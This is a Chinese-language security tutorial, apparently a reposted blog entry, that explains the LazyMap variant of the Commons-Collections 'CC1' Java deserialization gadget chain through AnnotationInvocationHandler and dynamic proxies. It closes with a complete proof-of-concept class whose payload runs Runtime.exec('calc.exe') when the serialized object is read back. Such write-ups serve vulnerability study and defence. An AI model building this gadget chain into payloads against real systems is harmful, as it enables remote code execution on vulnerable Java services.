7-java安全——java反序列化CC1链分析

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了7-java安全——java反序列化CC1链分析相关的知识,希望对你有一定的参考价值。

漏洞影响版本:

commons-collections3.1-3.2.1

jdk1.7.1以下

apache commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。例如在挖掘反序列化漏洞时比较常用的利用工具ysoserial就使用了LazyMap类的利用链,本文将继续学习LazyMap类的利用链。

现在我们再来看一下LazyMap类如何构造利用链?

通过分析LazyMap类,发现有一个get方法调用了transform方法,该方法访问权限为public,可以在类外直接使用

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

       get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value。

factory是LazyMap类的成员属性,其数据类型也是Transformer

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;

    /** The factory to use to construct elements */
    protected final Transformer factory;

继续寻找LazyMap类中有哪些方法操作了factory成员属性,接着我们在LazyMap类中找到一个public访问权限的decorate方法

	public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

        是不是很熟悉,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的。

LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。

接下来需要在AnnotationInvocationHandler中寻找哪些方法中调用了get方法。最终我们找到了invoke方法和readObject方法中都调用了get方法,以下是invoke的部分关键代码:

public Object invoke(Object var1, Method var2, Object[] var3) {
    Object var6 = this.memberValues.get(var4);
}

       很明显,invoke方法才是我们要找的,因为invoke方法中是通过memberValues来调用get方法。

思考一下:如何去调用AnnotationInvocationHandler类中的invoke方法?

由于不是public访问权限,直接访问AnnotationInvocationHandler类是行不通的,通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是不是觉得InvocationHandler接口有点眼熟,没错,这不是动态代理吗。

既然是动态代理,那就好办了,既然我们的目标是调用LazyMap类的get方法,那就可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象来调用invoke方法了。

回顾一下Proxy类的newProxyInstance方法的用法:

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);

参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器

参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象

参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象

如何调用AnnotationInvocationHandler类中的invoke方法解决了,我们思考最后一个问题:AnnotationInvocationHandler对象如何在反序列化(调用readObject时)的过程中如何触发调用invoke方法?

答案是通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

       AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues 。

然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        Map var3 = var2.memberTypes();
        //获取LazyMap父类的entrySet
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            //代理对象调用方法
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

      当调用readObject方法时,memberValues的值就是代理对象proxyMap,只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法InvocationHandler的invoke方法都会进行拦截,这就是动态代理技术)。

LazyMap的利用链流程梳理:

LazyMap的利用链最终payload(这里直接把p师傅写的payload代码拿过来了,稍微改了一下)

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Poc3Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
        annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(annotationInvocationHandler);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

      说实话,LazyMap的cc链不仅使用了反射,还用到了动态代理,相对TransformedMap的利用链比较难理解。如果你对动态代理很熟悉的话,那么LazyMap的cc链对你来说应该不难。

以上是关于7-java安全——java反序列化CC1链分析的主要内容,如果未能解决你的问题,请参考以下文章

11-java安全——java反序列化CC5和CC6链分析

11-java安全——java反序列化CC5和CC6链分析

11-java安全——java反序列化CC5和CC6链分析

[Java反序列化]CommonsCollections6利用链学习

[Java反序列化]CommonsCollections6利用链学习

java反序列化-ysoserial-调试分析总结篇